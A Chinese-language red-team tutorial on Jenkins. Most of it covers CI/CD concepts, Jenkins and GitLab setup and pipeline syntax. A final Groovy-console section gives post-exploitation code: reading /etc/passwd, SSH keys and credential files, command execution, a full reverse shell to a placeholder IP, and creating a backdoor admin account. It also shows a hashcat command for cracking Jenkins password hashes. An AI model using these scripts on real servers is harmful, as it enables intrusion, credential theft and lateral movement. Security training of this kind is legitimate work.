🦄Jenkins渗透场景

目前我看到红队人员的现状,不管是什么系统就是拿Shell,拿权限,然后把这台机器当作跳板继续横向其它机器。而Jenkins在内网中是经常能够遇到的,但大多数人不了解Jenkins有什么作用,可以用来做什么,危害有哪些。这一章先介绍CI/CD以及整个流水线大概是如何工作的,为后续CI/CD安全课程打下基础。

CI/CD是什么

产品发布流程:产品设计成型 -> 开发人员开发代码 -> 测试人员测试功能 -> 运维人员发布上线

发布版本的流程一般都是手动部署,需要把代码提交到版本控制器SVN/git上,然后再把SVN上每个人提交的最新模块的代码拉下来,然后编译打包,最后手动上传到Tomcat上。这种方式很繁琐,也会浪费时间,如果有测试环境和生产环境,则效率更低。

最初是瀑布模型,后来是敏捷开发,现在是DevOps,这是现代开发人员构建出色的产品的技术路线。

就是一个阶段做完再到下个阶段,我们会发现这是一个很低效的过程,于是后来演变出了敏捷模型

我们用来自网上的两张图来体现敏捷模型与瀑布模型的区别:

在敏捷模型里开发和测试不是原来的完成全部开发再测试这样的情况,而是一边开发一边测试,而运维的工作还是在最后面,所以再之后就演变出DevOps

从图中可以看到迭代过程中,开发测试部署是快速迭代同时进行,部署操作不再是等到最后。这就是一个简单的开发运维模型的一个变更过程。

随着DevOps的兴起,出现了持续集成(Continuous Integration)、持续交付(Continuous Delivery) 、持续部署(Continuous Deployment) 的新方法。

传统的软件开发和交付方法正在迅速变得过时。从历史上看,在敏捷时代,大多数公司会每月,每季度,甚至每年部署/发布软件。然而,现在,在DevOps时代,每周,每天,甚至每天多次是常态。很多时候,他们甚至都不会意识到正在发生变化。开发团队通过软件交付流水线(Pipeline)实现自动化,以缩短交付周期,大多数团队都有自动化流程来检查代码并部署到新环境。

CI介绍

持续集成(Continuous Integration),是一种软件开发实践。持续集成强调了开发人员提交了新代码之后,立刻进行构建、单元测试。根据测试结果,我们可以确定新代码和原有代码能否正确地集成在一起。

持续集成的重点是将各个开发人员的代码集合到一个代码仓库中,主要目的是迟早发现集成错误,使团队更加紧密结结合更好地协作。

CD介绍

持续交付(Continuous Delivery),是在持续集成的基础上将集成后的代码部署到更贴近真实运行在生产环境中。

持续交付的目的是最小化部署或释放过程中发现问题。它的实现通常能够将构建部署的每个步骤自动化,以便任何时刻能够安全地完成代码发布。

持续部署(Continuous Deployment),是一种更高程度的自动化,无论何时对代码进行重大更改,都会自动进行构建和部署。

Jenkins介绍

Jenkins的思想就是自动化部署:“自动化”的具体体现在:当我们向版本库(SVN)提交新的代码后,Jenkins就会自动从我们的Git上拉取源码构建出新的war包,然后重新部署到应用服务器(Tomcat),用户或测试人员看到的就是最新的应用程序。

#安装gitlab
https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-14.9.4-ce.0.el7.x86_64.rpm
 
yum -y install policycoreutils-python
 
#初始化服务
gitlab-ctl reconfigure
 
#如安装出错提示UTF-8,设置如下
LANG=en_US.utf8
LANGUAGE=
LC_CTYPE="en_US.utf8"
LC_NUMERIC="en_US.utf8"
LC_TIME="en_US.utf8"
LC_COLLATE="en_US.utf8"
LC_MONETARY="en_US.utf8"
LC_MESSAGES="en_US.utf8"
LC_PAPER="en_US.utf8"
LC_NAME="en_US.utf8"
LC_ADDRESS="en_US.utf8"
LC_TELEPHONE="en_US.utf8"
LC_MEASUREMENT="en_US.utf8"
LC_IDENTIFICATION="en_US.utf8"
LC_ALL=

安装Jenkins

#JDK
wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
tar xf jdk-8u202-linux-x64.tar.gz
mv jdk1.8.0_202/ /usr/local/
ln -s /usr/local/jdk1.8.0_202/ /usr/local/jdk
vim /etc/profile
export JAVA_HOME=/usr/local/jdk/
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export CLASSPATH=.$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$JAVA_HOME/lib/tools.jar
source /etc/profile
yum -y install epel-release
yum -y install daemonize
wget https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat-stable/jenkins-2.319.1-1.1.noarch.rpm --no-check-certificate
rpm -ivh jenkins-2.319.1-1.1.noarch.rpm
如启动出现如下错误:
Failed to start LSB: Jenkins Automation Server.
 
#编辑添加java路径
vim /etc/rc.d/init.d/jenkins
 
#启动
systemctl start jenkins
cat /var/lib/jenkins/secrets/initialAdminPassword

推荐安装插件

其它相关插件安装:

Manage Jenkins -> Manage Plugins -> Available

  • Publish Over SSH 通过SSH发送构建工件,通过SSH发送部署文件到远程机器上

  • SSH Plugin 使用SSH协议远程执行Shell全集

  • Blue Ocean 更好操作的界面

  • Maven 构建工具

  • Role-based 基于角色的认证策略

如创建用户或其它操作出现如下:

HTTP ERROR 403 No valid crumb was included in the request

需要到全局配置下,勾选:

用户密码存储路径:

/var/lib/jenkins/users/admin1_8249442667460105204
<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>admin1</id>
  <fullName>admin1</fullName>
  <properties>
  ......      <passwordHash>#jbcrypt:$2a$10$BxGB8tXELa2WHQbCki8SSOQ4bsm9QLf31.ftUwSE7VEO167onl.Pu</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@414.vcc4c33714601">
      <emailAddress>aaa@gmail.com</emailAddress>
    </jenkins.security.ApiTokenProperty>
  </properties>
</user>
 
hashcat -a 0 -m 3200
"\$2a\$10\$BxGB8tXELa2WHQbCki8SSOQ4bsm9QLf31.ftUwSE7VEO167onl.Pu" passwd.txt

构建项目

构建项目执行命令的演示

新建Item -> Freestyle project

拉取git代码

ssh-keygen
#将id_rsa.pub复制到gitlab上

Gitlab操作:

User -> Preferences -> SSH Keys

Jenkins添加凭证:

Manage Jenkins -> Manage Credentials

将jenkins id.rsa内容添加进去

新建Item -> Freestyle Project

添加Gitlab项目地址,并且要指定分支为main, 默认填写的则是 master不更改会出错

执行成功:

Jenkins下载的源码都会存放到:

/var/lib/jenkins/workspace

构建执行Shell或执行命令,来进行部署。

构建解发器

解发器(Webhook),用于在开发人员向gitlab提交代码后能够触发Jenkins自动执行代码构建操作

pip3 install jenkinsapi

gitlab新建develop分支

Jenkins安装所需插件:

  • GitLab Plugin

  • GitLab Authentication plugin

  • Generic Webhook Trigger Plugin

Jenkins相关设置:

系统管理 -> 全局安全配置

Jenkins项目配置 -> 资源管理 -> 更改分支

老版本jenkins或gitlab配置触发器会导致如下错误:

新版配置触发器:

开启用户API认证,并记录好用户生成的Token,将会在gitlab中用到

开启Gitlab token认证,使jenkins具有调用gitlab api的权限,以返回构建结果。

将gitlab生成的token添加到Jenkins全局系统配置中。

构建方式

项目 -> 配置 -> 构建触发器 -> Build when a ...

生成Secret Token并记录下来

到gitlab需要触发的项目中设置webhook

创建成功后测试是否成功:

测试提交代码:

git clone -b develop http://1.13.182.153/root/gitclonetest.git
touch developtest
git add developtest
git commit -m "developtest"
git push

提交完成后,Jenkins会自动构建代码

什么是Jenkins流水线

  • Pipeline

Jenkins的核心是 Pipeline(流水线项目),实现了 Pipeline As Code 。即我们将构建部署测试等步骤全部以代码的形式写到 Jenkinsfile 中。Jenkins 在运行 Pipeline 任务的时候会按照 Jenkinsfile 中定义的代码顺序执行。写 Jenkinsfile 是一项很重的工作,如果稍不注意很容易造成 Jenkins 的流水线任务失败。

Jenkinsfile 类似于 Dockerfile,具有一套特定的语法。

  • Stage

在Pipeline中,一条流水线是由多个阶段组成,每个阶段一个stage,例如:构建、测试、部署等等

  • Agent

Jenkins 采用分布式架构,分为 server 节点和 agent 节点。server 节点也是可以运行构建任务的,一般使其主要来做任务的调度。agent 节点专门用于任务的执行。

随着现在容器的盛行,可以将 server 节点和 agent 节点在容器或者基于 Kubernetes 中部署。

关于 agent 节点借助容器可以实现动态的资源分配等等好处。agent 节点可以分为静态节点和动态节点。静态节点是固定的一台 vm 虚机或者容器。动态节点是随着任务的构建来自动创建 agent 节点。

在整个流水线中,免密钥登录很重要!!!例如jenkins被拿下也能够登录到免密钥机器上

通过流水线语法可以生成相应的操作

可以根据地铁线路图来理解pipeline:

  • pipeline 等同于地铁1号线

  • agent 等同于1号线的车

  • stage 等同于1号线完整的站点路线

  • stages 等同于1号线中的一个站点

安装Pipeline插件

在创建Pipeline类型的作业时,需要提前安装好pipeline插件。

pipeline开发工具

选择任意pipeline类型的作业,点击,流水线语法,即可进入pipeline开发工具页面

Pipeline语法

  • 声明式流水线的定义,一个pipeline{}

pipeline {
//pipeline
}

构建节点

  • any:运行在任意可用节点

  • none:当pipeline全局指定agent为none,则根据每个stage中定义的agent运行

  • label:在指定的标签的节点运行

  • node:支持自定义流水线的工作目录

pipeline {
agent {
   node {
     label "labelName"
     customWorkspace "/opt/agent/workspace"
    }
  }
}

stages构建阶段

  • 关系:stages > stage > steps > script

  • stage:包含多个stage阶段

  • stage:包含多个steps步骤

  • steps:包含一组特定的脚本

pipeline {
stages {
   stage("build") {
     steps {
       echo "hello"
      }
    }
  }
}

post构建后操作

  • 根据流水线的最终状态匹配后做一些操作

  • always:不管什么状态总是执行

  • success:成功后执行

  • failure:失败后执行

  • aborted:被取消后执行

  • unstable:不稳定状态,单侧失败等等

pipeline {
post {
   always {
     script {
       println("test")
      }
   success {
     script{
       println("success")
      }
     }
    }
  }
}

env构建时变量

流水线在运行时的环境变量。

pipeline {
environment {
   NAME = "Hi"
   VERSION = "1.1.1.1"
   ENVTYPE = "DEV"
  }
}

Options运行时选项

#设置保存最近的记录
options { buildDiscarder(logRotator(numToKeepStr: '1')) }
 
#禁止并行构建
options { disableConcurrentBuilds() }
 
#设定流水线的重试次数
options { retry(3) }

input流水线交互

  • message:提示信息

  • ok:表彰中确认按钮的文本

  • submitter:提交人,默认所有人可以

  • parameters:交互时用户选择的参数

pipeline {
agent any
stages {
   stage {
     input {
       message "是否继续发布"
       ok "Yes"
       submitter "admin,ccav"
       parameters {
         string(name: 'ENVTYPE',defaultValue: 'DEV')
        }
      }
     steps {
       echo "Deploy to ${ENVTYPE}, doing..."
      }
    }
}
}

when 阶段运行控制

  • 根据环境变量判断

  • 根据表达式判断

  • 根据条件判断(not/allOf/anyOf)

pipeline {
agent any
stages {
   stage('Build') {
     steps {
       echo 'build...'
      }
    }
   stage('Deploy'){
     when {
       environment name: 'DEPLOY_TO',value: 'DEV'
      }
     steps {
       echo 'Deploying...'
      }
    }
  }
}
 
#allOf条件全部成立
when {
allOf {
   environment name: 'CAN_DEPLOY',value:'true'
  environment name: 'DEPLOY_ENV',value:'dev'
  }
}
 
#anyOf条件其中一个成立
when {
anyOf {
   environment name: 'CAN_DEPLOY',value:'true'
   environment name: 'DEPLOY_ENV',value:'dev'
  }
}

Groovy控制台

什么是Groovy

Groovy是JAVA语法兼容的面向对象编程语言,主要用于JAVA平台,可以用作JAVA平台的编程语言和脚本语言。

针对高度集成环境,Jenkins是基础架构的组成部分,这些操作导致创建一系列Groovy脚本来自动化执行不同的任务。

这里主要介绍获得了控制台的下一步利用。

Groovy基础

  • 列出目录和文件

dir = new File("/")
dir.eachFile {
println it
}

如果是Windows:

dir = new File("..\\..\\")
dir.eachFile {
println it
}
  • 系统环境变量

def env = System.getenv()
println "${env}"
  • 读取文件

String fileContents = new File('/etc/passwd').text

读取.ssh密钥、.bash_history、Jenkins配置文件credentials.xml

读取密码信息,先找到文件路径:

dir = new File("/var/lib/jenkins/users/")
dir.eachFile {
println it
}
dir = new File("/var/lib/jenkins/users/admin_8670027049149483231/")
dir.eachFile {
println it
}
 
String fileContents = new
File('/var/lib/jenkins/users/admin_8670027049149483231/config.xml').text

在某些情况,还需要收集应用代码中相关的凭证信息

通过检查Jenkins的项目构建,查看团队成员发与已配置的git存储库,并收集到的keys/credentials横向移动目标的基础设施。

  • 执行命令

println "whoami".execute().text
#或者
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
  • 反弹Shell

String host="IP";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
  • 创建用户

import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("ccav","123qwe!@#...")
instance.setSecurityRealm(hudsonRealm)
instance.save()

Jenkins Attack Framework

https://github.com/Accenture/jenkins-attack-framework

主要用于Jenkins登录后的后利用和横向使用的功能

python3 jaf.py 【调用函数名称】 -s 【Jenkins地址】 -a 【用户名:密码】

查看版本:

http://IP:8080/whoAmI/

未授权地址:

http://IP:8080/manage

http://IP:8080/script

https://avd.aliyun.com/search?q=jenkins&page=15

获取用户名称:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

结论

  • Jenkins历史漏洞

  • Jenkins未授权访问

  • 登录后命令执行

    • Jenkins代码仓库信息

    • Jenkins服务器建立多台服务器信任连接

Last updated